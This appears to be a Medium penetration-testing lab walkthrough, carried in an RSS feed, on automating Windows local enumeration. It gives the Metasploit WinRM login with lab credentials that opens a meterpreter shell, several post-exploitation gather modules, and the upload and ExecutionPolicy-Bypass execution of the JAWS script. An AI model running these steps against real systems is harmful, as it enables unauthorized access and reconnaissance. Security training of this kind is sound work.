            <pubDate>Mon, 25 Mar 2024 12:56:27 GMT</pubDate>
            <atom:updated>2024-03-25T13:02:46.538Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*zyvX8Xd9v4--leQ3LzyZNw.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F6bnabBzZr64%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D6bnabBzZr64&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F6bnabBzZr64%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/1bc3a26b46894a07e9f2a801848ce84f/href">https://medium.com/media/1bc3a26b46894a07e9f2a801848ce84f/href</a></iframe><p>Manually gathering information about a Windows system can be tedious. Automating local enumeration streamlines the process, saving you time and effort. Here’s a quick intro:</p><ul><li><strong>Local Enumeration:</strong> Uncovering details about a system like user accounts, software versions, and running services.</li><li><strong>Benefits:</strong> Saves time, ensures a thorough analysis, helps identify potential vulnerabilities.</li><li><strong>Automation:</strong> Using scripts or tools to automate information gathering tasks.</li></ul><p>There are various ways to automate local enumeration on Windows:</p><ul><li><strong>PowerShell Scripts:</strong> Powerful scripting language built into Windows for automating tasks.</li><li><strong>Third-Party Tools:</strong> Dedicated tools like winPEAS or JAWS can automate enumeration and even suggest potential vulnerabilities.</li></ul><p><strong>Important Note:</strong> Automate enumeration only on authorized systems during approved activities like penetration testing or security audits.</p><p>This is just a starting point. In future content, we’ll delve deeper into specific tools and techniques!</p><h4><strong>Step 1:</strong> Open the lab link to access the Kali GUI instance</h4><p><strong>Step 2:</strong> Identify the target IP address</p><p>Before we get started, you will need to obtain the IP address of the target system within the lab environment.</p><p>This lab will provide you with the target IP address in a leafpad window when you first access the lab as shown in the following screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/0*jGOsmyYuxgNesNW6.png" /></figure><p><strong>Note:</strong> Your target IP address will be different, so make sure to substitute the IP shown in the commands below with the one in your lab.</p><p><strong>Step 3:</strong> Port scanning with Nmap</p><p>Before we can begin the process of automating local enumeration on Windows, we will need to gain access to the target system.</p><p>To begin with, we will need to identify a vulnerable service running on the Windows target system, this can be done by performing a service version detection scan with Nmap.</p><p><strong>Command:</strong></p><pre>nmap -sV -p 5985 10.2.21.181</pre><p>As shown in the following screenshot, the Nmap scan reveals that WinRM port is open on the target system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Vs2RHviFjc2kaSK_.png" /></figure><p><strong>Step 4:</strong> Gaining access</p><p>We can gain access to the target system by authenticating with WinRM sever on the target system. This can be done through the use of a Metasploit module.</p><p>In order to save time, you have been provided with access to the following credentials to gain access to the target system (<strong>administrator/tinkerbell</strong>).</p><p>To begin with, we will need to start up the Metasploit Framework Console (msfconsole) by running the following command:</p><p><strong>Command:</strong></p><pre>msfconsole</pre><p>We can then load the module by running the following command:</p><p><strong>Command:</strong></p><pre>use exploit/windows/winrm/winrm_script_exec</pre><p>After loading the module, we will need to configure the module options, more specifically the target IP option. This can be done by running the following command:</p><p><strong>Command:</strong></p><pre>set RHOSTS 10.2.21.181</pre><p>We will also need to set the username and password options to be used for authentication. In this case, we will be using the<strong>administrator</strong>credentials provided above.</p><p><strong>Command:</strong></p><pre>set USERNAME administrator</pre><p><strong>Command:</strong></p><pre>set PASSWORD tinkerbell</pre><p>The final option we will need to configure is the<strong>FORCE_VBS</strong>option.</p><p><strong>Command:</strong></p><pre>set FORCE_VBS true</pre><p>We can now execute the module by running the following command:</p><p><strong>Command:</strong></p><pre>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9ocp4vhxu30qV2fp.png" /></figure><p>As shown in the following screenshot, the successful execution of the module will provide us with a <strong>meterpreter</strong> session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AvT2CjSwVIGkBZof.png" /></figure><p>We have now gained access to the Windows system and can begin the process of automating local enumeration on the system.</p><p><strong>Step 5:</strong> Automating local enumeration with Metasploit</p><p>Given that have obtained a <strong>meterpreter</strong> session on the target system, we can leverage various post-exploitation modules to automate the numeration of important information.</p><p>To begin with, you will need to put your current <strong>meterpreter</strong> session in the background, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>background</pre><p>The first module we can explore is the<strong>win_privs</strong>module, which can be used to automate the enumeration of the current user privileges. We can load the module by running the following command:</p><p><strong>Command:</strong></p><pre>use post/windows/gather/win_privs</pre><p>After loading the module, we will need to configure the module options, in this case, the only option we need to configure is the<strong>SESSION</strong>option.</p><p><strong>Command:</strong></p><pre>set SESSION 1</pre><p><strong>Note:</strong>In your case, the session ID might be different.</p><p>We can now run the module by running the following command:</p><p><strong>Command:</strong></p><pre>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*850AvTc56yNI4zSH.png" /></figure><p>As shown in the preceding screenshot, this module will enumerate the privileges of the current user you have access to on the target system and will provide you with useful information like whether the user is admin and whether UAC is enabled or disabled.</p><p>The next module we can use is the <strong>enum_logged_on_users</strong> which as the name suggests, enumerates a list of currently and previous logged on users. We can load the module by running the following command:</p><p><strong>Command:</strong></p><pre>use post/windows/gather/enum_logged_on_users</pre><p>After loading the module, we will need to configure the module options, in this case, the only option we need to configure is the<strong>SESSION</strong>option.</p><p><strong>Command:</strong></p><pre>set SESSION 1</pre><p><strong>Note:</strong>In your case, the session ID might be different.</p><p>We can now run the module by running the following command:</p><p><strong>Command:</strong></p><pre>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IYhdiRWlw3mmZowM.png" /></figure><p>As shown in the preceding screenshot, this module will enumerate a list of currently and previous logged on users as well as the respective SIDs of the user accounts.</p><p>We can also check if the target system is a virtual machine by leveraging a module called <strong>checkvm</strong>. This module will tell you whether the target system is a VM or container. We can load the module by running the following command:</p><p><strong>Command:</strong></p><pre>use post/windows/gather/checkvm</pre><p>After loading the module, we will need to configure the module options, in this case, the only option we need to configure is the<strong>SESSION</strong>option.</p><p><strong>Command:</strong></p><pre>set SESSION 1</pre><p><strong>Note:</strong>In your case, the session ID might be different.</p><p>We can now run the module by running the following command:</p><p><strong>Command:</strong></p><pre>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*6QFiXc-S-BRQU6Ap.png" /></figure><p>As shown in the preceding screenshot, the module tells us that the target system is a virtual machine running on the <strong>Xen</strong> hypervisor.</p><p>Another important module is the <strong>enum_applications</strong> module. This module enumerates a list of installed application/programs on the target system. We can load the module by running the following command:</p><p><strong>Command:</strong></p><pre>use post/windows/gather/enum_applications</pre><p>After loading the module, we will need to configure the module options, in this case, the only option we need to configure is the<strong>SESSION</strong>option.</p><p><strong>Command:</strong></p><pre>set SESSION 1</pre><p><strong>Note:</strong>In your case, the session ID might be different.</p><p>We can now run the module by running the following command:</p><p><strong>Command:</strong></p><pre>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i3NY1CE0DCNciosn.png" /></figure><p>As shown in the preceding screenshot, the module enumerates a list of installed applications. This information is very useful as it can be used to search for vulnerabilities in the installed programs that can be leveraged or exploited to elevate your privileges or reveal important information. It also gives you an idea as to what this system is being used for.</p><p>We can utilize the <strong>enum_computers</strong> module to enumerate a list of computers connected to the same LAN that the target is a part of. We can load the module by running the following command:</p><p><strong>Command:</strong></p><pre>use post/windows/gather/enum_computers</pre><p>After loading the module, we will need to configure the module options, in this case, the only option we need to configure is the<strong>SESSION</strong>option.</p><p><strong>Command:</strong></p><pre>set SESSION 1</pre><p><strong>Note:</strong>In your case, the session ID might be different.</p><p>We can now run the module by running the following command:</p><p><strong>Command:</strong></p><pre>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/0*gyOYNtG-Y1zkJFmS.png" /></figure><p>As shown in the preceding screenshot, the module reveals that the target system is not part of a Windows domain.</p><p>We can also enumerate a list of installed updates and patches by using the <strong>enum_patches</strong> module. We can load the module by running the following command:</p><p><strong>Command:</strong></p><pre>use post/windows/gather/enum_patches</pre><p>After loading the module, we will need to configure the module options, in this case, the only option we need to configure is the<strong>SESSION</strong>option.</p><p><strong>Command:</strong></p><pre>set SESSION 1</pre><p><strong>Note:</strong>In your case, the session ID might be different.</p><p>We can now run the module by running the following command:</p><p><strong>Command:</strong></p><pre>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cIRR0wXtpl7z_6v4.png" /></figure><p>As shown in the preceding screenshot, the module enumerates a list of installed patches and updates with their respective HotFixIDs and when they were installed.</p><p><strong>Step 6:</strong> Automating local enumeration with JAWS</p><p>Now that we have explored how to use Metasploit modules to automate local enumeration on a Windows target, we can begin exploring how to use <strong>JAWS (Just Another Windows Enum Script)</strong>.</p><p>JAWS is an open-source PowerShell script designed to help penetration testers automate local enumeration and identify privilege escalation vectors on Windows systems.</p><p>In order to use this script, you will need to copy the script in to your lab environment. To begin with, you can access the script through the following GitHub repository: <a href="https://github.com/411Hall/JAWS">https://github.com/411Hall/JAWS</a></p><p>On the GitHub repo, navigate to the <strong>jaws-enum.ps1</strong> script as shown in the following screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jFHLVlJP25UO2clj.png" /></figure><p>You will then need to view the script in raw format, this can be done by clicking the <strong>raw</strong> button as shown in the following screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*apxDfK1hIkQiUR3a.png" /></figure><p>You will now need to copy the content of the script in raw format and paste it in to the lab environment clipboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*A0G02bpdE5Xri0XC.png" /></figure><p>Once you have copied the script from the GitHub repo, navigate back to the Kali Linux system in your lab environment and create a new file with a text editor like leafpad.</p><p>Then paste in the script you copied in the file, after which save the file as <strong>jaws-enum.ps1</strong> as shown in the following screenshots.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/0*qUcMlbasO9B7VrvW.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/0*gVvBFaIgfUgidWs-.png" /></figure><p>We can now navigate back to our <strong>meterpreter</strong> session and navigate to the <strong>C:\</strong> drive by running the following command:</p><p><strong>Command:</strong></p><pre>cd C:\\</pre><p>We will then need to create the<strong>Temp</strong>directory by running the following command:<strong>Command:</strong></p><pre>mkdir Temp</pre><p><strong>Command:</strong></p><pre>cd Temp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/0*mPBBJNGmuySnaOjr.png" /></figure><p>We can now upload the <strong>jaws-enum.ps1</strong> script we copied from the GitHub repo by running the following command:</p><p><strong>Command:</strong></p><pre>upload /root/Desktop/jaws-enum.ps1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3-BJ5J5LPahzaucS.png" /></figure><p>After uploading the script successfully, we will need to spawn a command shell session, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>shell</pre><p>We can now execute the<strong>jaws-enum.ps1</strong>script by running the following command:</p><p><strong>Command:</strong></p><pre>powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RnTzF4ZHIJxKQZTU.png" /></figure><p>As shown in the preceding screenshot, the <strong>jaws-enum.ps1</strong> script will run and save the results in to a file called <strong>JAWS-Enum.txt</strong>.</p><p><strong>Note:</strong> JAWS will take a couple of minutes to complete the enumeration process, so do not be alarmed if the script looks like it has paused or stopped running.</p><p>Once the <strong>jaws-enum.ps1</strong> script is done, we can download the output file for analysis, this can eb done by running the following command:</p><p><strong>Command:</strong></p><pre>download JAWS-Enum.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qtjdkmt4XVlBhm2L.png" /></figure><p>Now that we have downloaded the output generated by the <strong>jaws-enum.ps1</strong> script, we can open up the output file on our Kali system by navigating to <strong>/root/</strong> and opening the <strong>JAWS-Enum.txt</strong> file with leafpad as shown in the following screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/0*Ik-PgPAIVHtFijLG.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/0*7yXU3q440EhyKfzp.png" /></figure><p>As shown in the preceding screenshot, the output file generated by <strong>jaws-enum.ps1</strong> contains all relevant information about the target system that we would have otherwise had to have enumerated manually.</p><p>Take a few minutes to go through the output file and analyze what information <strong>JAWS</strong> was able to enumerate in addition to any potentially interesting information that we were unable to enumerate manually or with Metasploit modules.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d4881008ecb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>